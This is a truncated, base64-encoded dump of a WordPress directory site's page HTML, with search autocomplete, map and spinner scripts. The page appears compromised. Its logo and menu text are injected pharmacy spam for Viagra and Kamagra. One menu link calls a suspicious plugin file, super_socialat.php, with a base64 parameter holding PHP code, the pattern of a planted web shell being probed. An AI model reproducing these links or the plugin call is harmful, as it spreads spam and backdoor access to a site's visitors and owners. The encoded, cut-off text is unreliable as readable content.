8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE4LzAyLzI2ODA1NDAwXzkwODExMjYwMjY3NzExN182ODMzMjExMDAyMDA3OTMyNTM1X24tMTUweDE1MC5qcGciIHNpemVzPSIzMngzMiIgLz4KPGxpbmsgcmVsPSJpY29uIiBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE4LzAyLzI2ODA1NDAwXzkwODExMjYwMjY3NzExN182ODMzMjExMDAyMDA3OTMyNTM1X24tMzAweDMwMC5qcGciIHNpemVzPSIxOTJ4MTkyIiAvPgo8bGluayByZWw9ImFwcGxlLXRvdWNoLWljb24tcHJlY29tcG9zZWQiIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTgvMDIvMjY4MDU0MDBfOTA4MTEyNjAyNjc3MTE3XzY4MzMyMTEwMDIwMDc5MzI1MzVfbi0zMDB4MzAwLmpwZyIgLz4KPG1ldGEgbmFtZT0ibXNhcHBsaWNhdGlvbi1UaWxlSW1hZ2UiIGNvbnRlbnQ9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTgvMDIvMjY4MDU0MDBfOTA4MTEyNjAyNjc3MTE3XzY4MzMyMTEwMDIwMDc5MzI1MzVfbi0zMDB4MzAwLmpwZyIgLz4KCgkJPHNjcmlwdD4KCQkgICdhcnRpY2xlIGFzaWRlIGZvb3RlciBoZWFkZXIgbmF2IHNlY3Rpb24gdGltZScucmVwbGFjZSgvXHcrL2csZnVuY3Rpb24obil7IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQobikgfSkKCQk8L3NjcmlwdD4KCgkJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJCWpRdWVyeShkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oJCkgewoKCQkJdmFyIGNhdGVnb3JpZXMgPSBbIHsgdmFsdWU6ICIxMTUiICwgbGFiZWw6ICJTb2NpYWwgTWVkaWFycyIgfSx7IHZhbHVlOiAiMTE3IiAsIGxhYmVsOiAiU29jaWFsIE1lZGlhcnMgRm9yIENoYXJpdHkiIH0seyB2YWx1ZTogIjExNiIgLCBsYWJlbDogIlNvY2lhbCBNZWRpYXJzIFdhbnRlZCIgfSBdOwoKCQkJdmFyIGxvY2F0aW9ucyA9IFsgeyB2YWx1ZTogIjExMyIgLCBsYWJlbDogIkNhbGlmb3JuaWEiIH0seyB2YWx1ZTogIjc4IiAsIGxhYmVsOiAiLSZuYnNwO0xvcyBBbmdlbGVzIiB9LHsgdmFsdWU6ICIxMDkiICwgbGFiZWw6ICJDb2xvcmFkbyIgfSx7IHZhbHVlOiAiOTciICwgbGFiZWw6ICItJm5ic3A7RGVudmVyIiB9LHsgdmFsdWU6ICIxMDMiICwgbGFiZWw6ICJDb25uZWN0aWN1dCIgfSx7IHZhbHVlOiAiMTA0IiAsIGxhYmVsOiAiLSZuYnNwO0hhcnRmb3JkIiB9LHsgdmFsdWU6ICIxMDYiICwgbGFiZWw6ICJJbGxpbm9pcyIgfSx7IHZhbHVlOiAiNzkiICwgbGFiZWw6ICItJm5ic3A7Q2hpY2FnbyIgfSx7IHZhbHVlOiAiMTA1IiAsIGxhYmVsOiAiTWFzc2FjaHVzZXR0cyIgfSx7IHZhbHVlOiAiMTAwIiAsIGxhYmVsOiAiLSZuYnNwO0Jvc3RvbiIgfSx7IHZhbHVlOiAiMTEwIiAsIGxhYmVsOiAiTWljaGlnYW4iIH0seyB2YWx1ZTogIjk0IiAsIGxhYmVsOiAiLSZuYnNwO0RldHJvaXQiIH0seyB2YWx1ZTogIjExMiIgLCBsYWJlbDogIk5ldmFkYSIgfSx7IHZhbHVlOiAiMTAyIiAsIGxhYmVsOiAiLSZuYnNwO0xhcyBWZWdhcyIgfSx7IHZhbHVlOiAiMTA3IiAsIGxhYmVsOiAiTmV3IFlvcmsiIH0seyB2YWx1ZTogIjQ2IiAsIGxhYmVsOiAiLSZuYnNwO05ldyBZb3JrIENpdHkiIH0seyB2YWx1ZTogIjExOCIgLCBsYWJlbDogIk5ldyBZb3JrIENpdHkiIH0seyB2YWx1ZTogIjEwOCIgLCBsYWJlbDogIlRleGFzIiB9LHsgdmFsdWU6ICI4NSIgLCBsYWJlbDogIi0mbmJzcDtEYWxsYXMiIH0seyB2YWx1ZTogIjExMSIgLCBsYWJlbDogIldhc2hpbmd0b24iIH0seyB2YWx1ZTogIjk2IiAsIGxhYmVsOiAiLSZuYnNwO1NlYXR0bGUiIH0gXTsKCgkJCXZhciBjYXRJbnB1dCA9ICQoICIjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5IiApLAoJCQkJY2F0SW5wdXRJRCA9ICQoICIjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkIiApLAoJCQkJbG9jSW5wdXQgPSAkKCAiI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbiIgKSwKCQkJCWxvY0lucHV0SUQgPSAkKCAiI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCIgKTsKCgkJCWNhdElucHV0LmF1dG9jb21wbGV0ZSh7CgkJCQltaW5MZW5ndGg6IDAsCgkJCQlzb3VyY2U6IGNhdGVnb3JpZXMsCgkJCQlmb2N1czogZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQkJCQl2YXIgdmFsID0gdWkuaXRlbS5sYWJlbC5yZXBsYWNlKC8mYW1wOy9nLCAiJiIpOwoJCQkJCQl2YWwgPSB2YWwucmVwbGFjZSgvJm5ic3A7L2csICIgIikucmVwbGFjZSgvJiMwMzk7L2csICInIik7CgkJCQkJY2F0SW5wdXQudmFsKCB2YWwgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9LAoJCQkJc2VsZWN0OiBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCQkJCXZhciB2YWwgPSB1aS5pdGVtLmxhYmVsLnJlcGxhY2UoLyZhbXA7L2csICImIik7CgkJCQkJCXZhbCA9IHZhbC5yZXBsYWNlKC8mbmJzcDsvZywgIiAiKS5yZXBsYWNlKC8mIzAzOTsvZywgIiciKTsKCQkJCQljYXRJbnB1dC52YWwoIHZhbCApOwoJCQkJCWNhdElucHV0SUQudmFsKCB1aS5pdGVtLnZhbHVlICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQl9KS5kYXRhKCAidWktYXV0b2NvbXBsZXRlIiApLl9yZW5kZXJJdGVtID0gZnVuY3Rpb24oIHVsLCBpdGVtICkgewoJCQkJcmV0dXJuICQoICI8bGk+IiApCgkJCQkJLmRhdGEoICJpdGVtLmF1dG9jb21wbGV0ZSIsIGl0ZW0gKQoJCQkJCS5hcHBlbmQoICI8YT4iICsgaXRlbS5sYWJlbCArICI8L2E+IiApCgkJCQkJLmFwcGVuZFRvKCB1bCApOwoJCQl9OwoJCQl2YXIgY2F0TGlzdCA9IGNhdElucHV0LmF1dG9jb21wbGV0ZSggIndpZGdldCIgKTsKCQkJY2F0TGlzdC5uaWNlU2Nyb2xsKHsgYXV0b2hpZGVtb2RlOiBmYWxzZSB9KTsKCgkJCWNhdElucHV0LmNsaWNrKGZ1bmN0aW9uKCl7CgkJCQljYXRJbnB1dC52YWwoJycpOwoJCQkJY2F0SW5wdXRJRC52YWwoJzAnKTsKCQkJCWNhdElucHV0LmF1dG9jb21wbGV0ZSggInNlYXJjaCIsICIiICk7CgkJCX0pOwoKCQkJbG9jSW5wdXQuYXV0b2NvbXBsZXRlKHsKCQkJCW1pbkxlbmd0aDogMCwKCQkJCXNvdXJjZTogbG9jYXRpb25zLAoJCQkJZm9jdXM6IGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJCQkJdmFyIHZhbCA9IHVpLml0ZW0ubGFiZWwucmVwbGFjZSgvJmFtcDsvZywgIiYiKTsKCQkJCQkJdmFsID0gdmFsLnJlcGxhY2UoLyZuYnNwOy9nLCAiICIpLnJlcGxhY2UoLyYjMDM5Oy9nLCAiJyIpOwoJCQkJCWxvY0lucHV0LnZhbCggdmFsICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfSwKCQkJCXNlbGVjdDogZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQkJCQl2YXIgdmFsID0gdWkuaXRlbS5sYWJlbC5yZXBsYWNlKC8mYW1wOy9nLCAiJiIpOwoJCQkJCQl2YWwgPSB2YWwucmVwbGFjZSgvJm5ic3A7L2csICIgIikucmVwbGFjZSgvJiMwMzk7L2csICInIik7CgkJCQkJbG9jSW5wdXQudmFsKCB2YWwgKTsKCQkJCQlsb2NJbnB1dElELnZhbCggdWkuaXRlbS52YWx1ZSApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0KCQkJfSkuZGF0YSggInVpLWF1dG9jb21wbGV0ZSIgKS5fcmVuZGVySXRlbSA9IGZ1bmN0aW9uKCB1bCwgaXRlbSApIHsKCQkJCXJldHVybiAkKCAiPGxpPiIgKQoJCQkJCS5kYXRhKCAiaXRlbS5hdXRvY29tcGxldGUiLCBpdGVtICkKCQkJCQkuYXBwZW5kKCAiPGE+IiArIGl0ZW0ubGFiZWwgKyAiPC9hPiIgKQoJCQkJCS5hcHBlbmRUbyggdWwgKTsKCQkJfTsKCQkJdmFyIGxvY0xpc3QgPSBsb2NJbnB1dC5hdXRvY29tcGxldGUoICJ3aWRnZXQiICk7CgkJCWxvY0xpc3QubmljZVNjcm9sbCh7IGF1dG9oaWRlbW9kZTogZmFsc2UgfSk7CgoJCQlsb2NJbnB1dC5jbGljayhmdW5jdGlvbigpewoJCQkJbG9jSW5wdXQudmFsKCcnKTsKCQkJCWxvY0lucHV0SUQudmFsKCcwJyk7CgkJCQlsb2NJbnB1dC5hdXRvY29tcGxldGUoICJzZWFyY2giLCAiIiApOwoJCQl9KTsKCgoKCQl9KTsKCQk8L3NjcmlwdD4KCgk8L2hlYWQ+CgoJPGJvZHkgY2xhc3M9InBhZ2UtaWQtODY3MzgzIj4KCgkJPGRpdiBpZD0icGFnZSIgY2xhc3M9ImhmZWVkICIgPgoKCgoKPGRpdiBjbGFzcz0idG9wYmFyIGNsZWFyZml4Ij4KCQk8ZGl2IGlkPSJ0YWdMaW5lSG9sZGVyIj4KCQkJPGRpdiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCBjbGVhcmZpeCI+CgkJCQk8cCBjbGFzcz0ibGVmdCBpbmZvIj5Tb2NpYWwgTWVkaWEgSXMgT3VyIEt1bmcgRnUgQW5kIEl0IElzIFN0cm9uZyE8L3A+CgoJCQkJCgkJCTwvZGl2PgoJCTwvZGl2Pgo8L2Rpdj4KCjxoZWFkZXIgaWQ9ImJyYW5kaW5nIiByb2xlPSJiYW5uZXIiPgoJPGRpdiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCBjbGVhcmZpeCI+CgkJPGRpdiBpZD0ibG9nbyIgY2xhc3M9ImxlZnQiPgoJCQkJPGEgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS9sb2MvY29sb3JhZG8vIj5TaG9wIFZpYWdyYSBTb2Z0IGluIE1hbGRpdmVzIE1hbOk8L2E+CgkJPC9kaXY+CgoJCTxuYXYgaWQ9ImFjY2VzcyIgcm9sZT0ibmF2aWdhdGlvbiI+CgoJCQkJCjxuYXYgY2xhc3M9Im1haW5tZW51Ij48dWwgaWQ9Im1lbnUtbWFpbi1tZW51IiBjbGFzcz0ibWVudSI+PGxpIGlkPSJtZW51LWl0ZW0tODIxMSIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS1ob21lIGN1cnJlbnQtbWVudS1pdGVtIHBhZ2VfaXRlbSBwYWdlLWl0ZW0tNyBjdXJyZW50X3BhZ2VfaXRlbSBtZW51LWl0ZW0tODIxMSI+PGEgaHJlZj0iaHR0cDovL3NvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvcGx1Z2lucy9zdXBlci1zb2NpYWxhdC9zdXBlcl9zb2NpYWxhdC5waHA/ZDE9WkdsbEtHMWtOU2d6TkRVek5Da3BPdz09Ij5CdXkgVmlhZ3JhIFZpZ291ciBpbiBQZXJ1IExpbWE8L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODI0NCIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjQ0Ij48YSBocmVmPSJodHRwOi8vc29jaWFsbWVkaWFycy5jb20vP2F1dGhvcj0xIj5QdXJjaGFzZSBLYW1hZ3JhIENoZXdhYmxlIGluIE1hbHRhIFZhbGxldHRhPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyMzQiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODIzNCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS90aGVtZS1mZWF0dXJlcy8iPlNob3AgRmVtYWxlIFZpYWdyYSBpbiBMaWJ5YSBUcmlwb2xpPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyMTIiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODIxMiI+PGEgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS9sb2MvY29ubmVjdGljdXQvIj5HZXQgS2FtYWdyYSBDaGV3YWJsZSB3aXRoIFZpc2E8L2E+PC9saT4KPC91bD48L25hdj4KCQk8L25hdj4KCgk8L2Rpdj4KPC9oZWFkZXI+CgkJCTxkaXYgaWQ9ImRpcmVjdG9yeS1tYWluLWJhciIgZGF0YS1jYXRlZ29yeT0iMCIgZGF0YS1sb2NhdGlvbj0iMCIgZGF0YS1zZWFyY2g9IiIgZGF0YS1nZW9sb2NhdGlvbj0iZmFsc2UiPgoJCQk8L2Rpdj4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KdmFyIG1hcERpdiwKCW1hcCwKCWluZm9ib3g7CmpRdWVyeShkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oJCkgewoKCW1hcERpdiA9ICQoIiNkaXJlY3RvcnktbWFpbi1iYXIiKTsKCWNsdXN0ZXJFbmFibGVkID0gdHJ1ZTsKCW1hcERpdi5oZWlnaHQoNTAwKS5nbWFwMyh7CgkJbWFwOiB7CgkJCW9wdGlvbnM6IHsKCQkJCSJkcmFnZ2FibGUiOiB0cnVlCgkJCQksIm1hcFR5cGVDb250cm9sIjogdHJ1ZQoJCQkJLCJtYXBUeXBlSWQiOiBnb29nbGUubWFwcy5NYXBUeXBlSWQuUk9BRE1BUAoJCQkJLCJzY3JvbGx3aGVlbCI6IGZhbHNlCgkJCQksInBhbkNvbnRyb2wiOiB0cnVlCgkJCQksInJvdGF0ZUNvbnRyb2wiOiBmYWxzZQoJCQkJLCJzY2FsZUNvbnRyb2wiOiB0cnVlCgkJCQksInN0cmVldFZpZXdDb250cm9sIjogdHJ1ZQoJCQkJLCJ6b29tQ29udHJvbCI6IHRydWUKCQkJCSxjZW50ZXI6IFs0MC42OTc0MzY3ODE5OTQ2OCwtNzQuMTI4ODA1OTk0OTg3NDldCgkJCQksem9vbTogMTAKCQkJfQoJCQksZXZlbnRzOnsKCQkJCXpvb21fY2hhbmdlZDogZnVuY3Rpb24obWFwKXsKCQkJCQljbHVzdGVyZXIgPSBtYXBEaXYuZ21hcDMoeyBnZXQ6IHsgbmFtZTogImNsdXN0ZXJlciIgfX0pOwoJCQkJCWlmIChtYXAuZ2V0Wm9vbSgpID49IDE5KSB7CgkJCQkJCWlmIChjbHVzdGVyRW5hYmxlZCkgewoJCQkJCQkJY2x1c3RlcmVyLmRpc2FibGUoKTsKCQkJCQkJCWNsdXN0ZXJFbmFibGVkID0gZmFsc2U7CgkJCQkJCX0KCQkJCQl9IGVsc2UgewoJCQkJCQlpZiAoIWNsdXN0ZXJFbmFibGVkKSB7CgkJCQkJCQljbHVzdGVyZXIuZW5hYmxlKCk7CgkJCQkJCQljbHVzdGVyRW5hYmxlZCA9IHRydWU7CgkJCQkJCX0KCQkJCQl9CgkJCQl9CgkJCX0KCQl9CgkJLG1hcmtlcjogewoJCQl2YWx1ZXM6IFsKCQkJCQl7CgkJCQkJCWxhdExuZzogWzQwLjY5NzQzNjc4MTk5NDY4LC03NC4xMjg4MDU5OTQ5ODc0OV0sCgkJCQkJCW9wdGlvbnM6IHsKCQkJCQkJCWljb246ICJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE2LzEyL2ctZTE0ODMxMTgzNjg0MjguanBnIiwKCQkJCQkJCXNoYWRvdzogImh0dHA6Ly9kZW1vMTAwLmdvbGR3ZWIuYml6L3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL21hcC1pY29uL2ljb24tc2hhZG93LnBuZyIsCgkJCQkJCX0sCgkJCQkJCWRhdGE6IAknPGRpdiBjbGFzcz0ibWFya2VyLWhvbGRlciI+JysKCQkJCQkJCQkJJzxkaXYgY2xhc3M9Im1hcmtlci1jb250ZW50IHdpdGgtaW1hZ2UiPjxpbWcgc3JjPSJodHRwOi8vZGVtbzEwMC5nb2xkd2ViLmJpei93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9kZWZhdWx0LXBvc3QtaW1hZ2UuanBnIiBhbHQ9IiI+JysKCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJtYXAtaXRlbS1pbmZvIj4nKwoJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJ0aXRsZSI+JysiZyBtb25leSIrJzwvZGl2PicrCgkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9ImFkZHJlc3MiPicrIm5ldyBZb3JrIGNpdHkiKyc8L2Rpdj4nKwoJCQkJCQkJCQkJCSc8YSBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3JlZ2lzdGVyLWZvcm0vIj5LYW1hZ3JhIGVmZmVjdHMgLSBBcHByb3ZlZCBJbnRlcm5ldCBEcnVnc3RvcmU8L2E+JysKCQkJCQkJCQkJCQknPC9kaXY+PGRpdiBjbGFzcz0iYXJyb3ciPjwvZGl2PicrCgkJCQkJCQkJCQknPC9kaXY+JysKCQkJCQkJCQkJJzwvZGl2PicrCgkJCQkJCQkJJzwvZGl2PicKCQkJCQl9CgkJCV0sCgkJCW9wdGlvbnM6ewoJCQkJZHJhZ2dhYmxlOiBmYWxzZQoJCQl9LAoJCQljbHVzdGVyOnsKCQkJCXJhZGl1czogMjAsCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gMCBtYXJrZXJzCgkJCQkwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0xJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCS8vIFRoaXMgc3R5bGUgd2lsbCBiZSB1c2VkIGZvciBjbHVzdGVycyB3aXRoIG1vcmUgdGhhbiAyMCBtYXJrZXJzCgkJCQkyMDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMic+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gNTAgbWFya2VycwoJCQkJNTA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTMnPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJZXZlbnRzOiB7CgkJCQkJY2xpY2s6IGZ1bmN0aW9uKGNsdXN0ZXIpIHsKCQkJCQkJbWFwLnBhblRvKGNsdXN0ZXIubWFpbi5nZXRQb3NpdGlvbigpKTsKCQkJCQkJbWFwLnNldFpvb20obWFwLmdldFpvb20oKSArIDIpOwoJCQkJCX0KCQkJCX0KCQkJfSwKCQkJZXZlbnRzOiB7CgkJCQljbGljazogZnVuY3Rpb24obWFya2VyLCBldmVudCwgY29udGV4dCl7CgkJCQkJdmFyIG1hcCA9IGpRdWVyeSh0aGlzKS5nbWFwMygiZ2V0Iik7CgkJCQkJalF1ZXJ5KCIjZGlyZWN0b3J5LW1haW4tYmFyIikuZmluZCgnLmluZm9Cb3gnKS5yZW1vdmUoKTsKCQkJCQlpZihjb250ZXh0LmRhdGEgIT0gImRpc2FibGVkIil7CgoJCQkJCQl2YXIgaW5mb0JveE9wdGlvbnMgPSB7CgkJCQkJCQljb250ZW50OiBjb250ZXh0LmRhdGEsCgkJCQkJCQlkaXNhYmxlQXV0b1BhbjogZmFsc2UsCgkJCQkJCQltYXhXaWR0aDogMTUwLAoJCQkJCQkJcGl4ZWxPZmZzZXQ6IG5ldyBnb29nbGUubWFwcy5TaXplKC01MCwgLTY1KSwKCQkJCQkJCWJveFN0eWxlOiB7CgkJCQkJCQkJd2lkdGg6ICIyOTBweCIKCQkJCQkJCX0sCgkJCQkJCQljbG9zZUJveE1hcmdpbjogIjRweCIsCgkJCQkJCQljbG9zZUJveFVSTDogImh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvbWFwLWljb24vcG9wX3VwLWNsb3NlLnBuZyIsCgkJCQkJCQkvLyBlbmFibGVFdmVudFByb3BhZ2F0aW9uOiB0cnVlLAoJCQkJCQkJaW5mb0JveENsZWFyYW5jZTogbmV3IGdvb2dsZS5tYXBzLlNpemUoMSwgMSksCgkJCQkJCQlwb3NpdGlvbjogbWFya2VyLnBvc2l0aW9uCgkJCQkJCX07CgkJCQkJCWluZm9ib3ggPSBuZXcgSW5mb0JveChpbmZvQm94T3B0aW9ucyk7CgoJCQkJCQlpbmZvYm94Lm9wZW4obWFwLG1hcmtlcik7CgkJCQkJfQoJCQkJCW1hcC5wYW5UbyhtYXJrZXIuZ2V0UG9zaXRpb24oKSk7CgoJCQkJCS8vIGlmIG1hcCBpcyBzbWFsbAoJCQkJCXZhciBpV2lkdGggPSAyNjA7CgkJCQkJdmFyIGlIZWlnaHQgPSAzMDA7CgkJCQkJaWYoKG1hcERpdi53aWR0aCgpIC8gMikgPCBpV2lkdGggKXsKCQkJCQkJdmFyIG9mZnNldFggPSBpV2lkdGggLSAobWFwRGl2LndpZHRoKCkgLyAyKTsKCQkJCQkJbWFwLnBhbkJ5KG9mZnNldFgsMCk7CgkJCQkJfQoJCQkJCWlmKChtYXBEaXYuaGVpZ2h0KCkgLyAyKSA8IGlIZWlnaHQgKXsKCQkJCQkJdmFyIG9mZnNldFkgPSAtKGlIZWlnaHQgLSAobWFwRGl2LmhlaWdodCgpIC8gMikpOwoJCQkJCQltYXAucGFuQnkoMCxvZmZzZXRZKTsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9CgkJIAl9KTsKCgltYXAgPSBtYXBEaXYuZ21hcDMoImdldCIpOwoJaW5mb2JveCA9IG5ldyBJbmZvQm94KHsKCQlwaXhlbE9mZnNldDogbmV3IGdvb2dsZS5tYXBzLlNpemUoLTUwLCAtNjUpLAoJCWNsb3NlQm94VVJMOiAiaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9wb3BfdXAtY2xvc2UucG5nIiwKCQlib3hTdHlsZTogewoJCQl3aWR0aDogIjI5MHB4IgoJCX0sCgkJY2xvc2VCb3hNYXJnaW46ICI0cHgiLAoJCWVuYWJsZUV2ZW50UHJvcGFnYXRpb246IGZhbHNlCgl9KTsKCglpZiAoTW9kZXJuaXpyLnRvdWNoKXsKCQltYXAuc2V0T3B0aW9ucyh7IGRyYWdnYWJsZSA6IGZhbHNlIH0pOwoJCXZhciBkcmFnZ2FibGVDbGFzcyA9ICdpbmFjdGl2ZSc7CgkJdmFyIGRyYWdnYWJsZVRpdGxlID0gIkFjdGl2YXRlIG1hcCI7CgkJdmFyIGRyYWdnYWJsZUJ1dHRvbiA9ICQoJzxkaXYgY2xhc3M9ImRyYWdnYWJsZS10b2dnbGUtYnV0dG9uICcrZHJhZ2dhYmxlQ2xhc3MrJyI+JytkcmFnZ2FibGVUaXRsZSsnPC9kaXY+JykuYXBwZW5kVG8obWFwRGl2KTsKCQlkcmFnZ2FibGVCdXR0b24uY2xpY2soZnVuY3Rpb24gKCkgewoJCQlpZigkKHRoaXMpLmhhc0NsYXNzKCdhY3RpdmUnKSl7CgkJCQkkKHRoaXMpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKS5hZGRDbGFzcygnaW5hY3RpdmUnKS50ZXh0KCJBY3RpdmF0ZSBtYXAiKTsKCQkJCW1hcC5zZXRPcHRpb25zKHsgZHJhZ2dhYmxlIDogZmFsc2UgfSk7CgkJCX0gZWxzZSB7CgkJCQkkKHRoaXMpLnJlbW92ZUNsYXNzKCdpbmFjdGl2ZScpLmFkZENsYXNzKCdhY3RpdmUnKS50ZXh0KCJEZWFjdGl2YXRlIG1hcCIpOwoJCQkJbWFwLnNldE9wdGlvbnMoeyBkcmFnZ2FibGUgOiB0cnVlIH0pOwoJCQl9CgkJfSk7Cgl9CgovLyBsb2FkaW5nIHNwaW5uZXIKdmFyIG9wdHMgPSB7CglsaW5lczogMTMsIC8vIFRoZSBudW1iZXIgb2YgbGluZXMgdG8gZHJhdwoJbGVuZ3RoOiA5LCAvLyBUaGUgbGVuZ3RoIG9mIGVhY2ggbGluZQoJd2lkdGg6IDksIC8vIFRoZSBsaW5lIHRoaWNrbmVzcwoJcmFkaXVzOiAyNywgLy8gVGhlIHJhZGl1cyBvZiB0aGUgaW5uZXIgY2lyY2xlCgljb3JuZXJzOiAxLCAvLyBDb3JuZXIgcm91bmRuZXNzICgwLi4xKQoJcm90YXRlOiAwLCAvLyBUaGUgcm90YXRpb24gb2Zmc2V0Cgljb2xvcjogJyNGRkYnLCAvLyAjcmdiIG9yICNycmdnYmIKCXNwZWVkOiAxLjgsIC8vIFJvdW5kcyBwZXIgc2Vjb25kCgl0cmFpbDogODEsIC8vIEFmdGVyZ2xvdyBwZXJjZW50YWdlCglzaGFkb3c6IHRydWUsIC8vIFdoZXRoZXIgdG8gcmVuZGVyIGEgc2hhZG93Cglod2FjY2VsOiBmYWxzZSwgLy8gV2hldGhlciB0byB1c2UgaGFyZHdhcmUgYWNjZWxlcmF0aW9uCgljbGFzc05hbWU6ICdzcGlubmVyJywgLy8gVGhlIENTUyBjbGFzcyB0byBhc3NpZ24gdG8gdGhlIHNwaW5uZXIKCXpJbmRleDogMmU5LCAvLyBUaGUgei1pbmRleCAoZGVmYXVsdHMgdG8gMjAwMDAwMDAwMCkKCXRvcDogJ2F1dG8nLCAvLyBUb3AgcG9zaXRpb24gcmVsYXRpdmUgdG8gcGFyZW50IGluIHB4CglsZWZ0OiAnYXV0bycgLy8gTGVmdCBwb3NpdGlvbiByZWxhdGl2ZSB0byBwYXJlbnQgaW4gcHgKfTsKCnZhciB0YXJnZXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGlyZWN0b3J5LW1haW4tYmFyJyksCglzcGlubmVyID0gbmV3IFNwaW5uZXIob3B0cykuc3Bpbih0YXJnZXQpLAoJc3Bpbm5lckRpdiA9IG1hcERpdi5maW5kKCcuc3Bpbm5lcicpOwoKdmFyIHNlYXJjaCA9ICQoJyNkaXJlY3Rvcnktc2VhcmNoJyksCglzZWFyY2hJbnB1dCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtdGV4dCcpLAoJc2VhcmNoU3VibWl0ID0gJCgnI2Rpci1zZWFyY2hzdWJtaXQnKSwKCWNhdGVnb3J5SW5wdXQgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5JyksCglsb2NhdGlvbklucHV0ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbicpLAoJZ2VvSW5wdXQgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWdlbycpLAoJZ2VvSW5wdXRSYWRpdXMgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWdlby1yYWRpdXMnKSwKCWdlb0lucHV0TGF0ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1nZW8tbGF0JyksCglnZW9JbnB1dExuZyA9ICQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvLWxuZycpOwoKZnVuY3R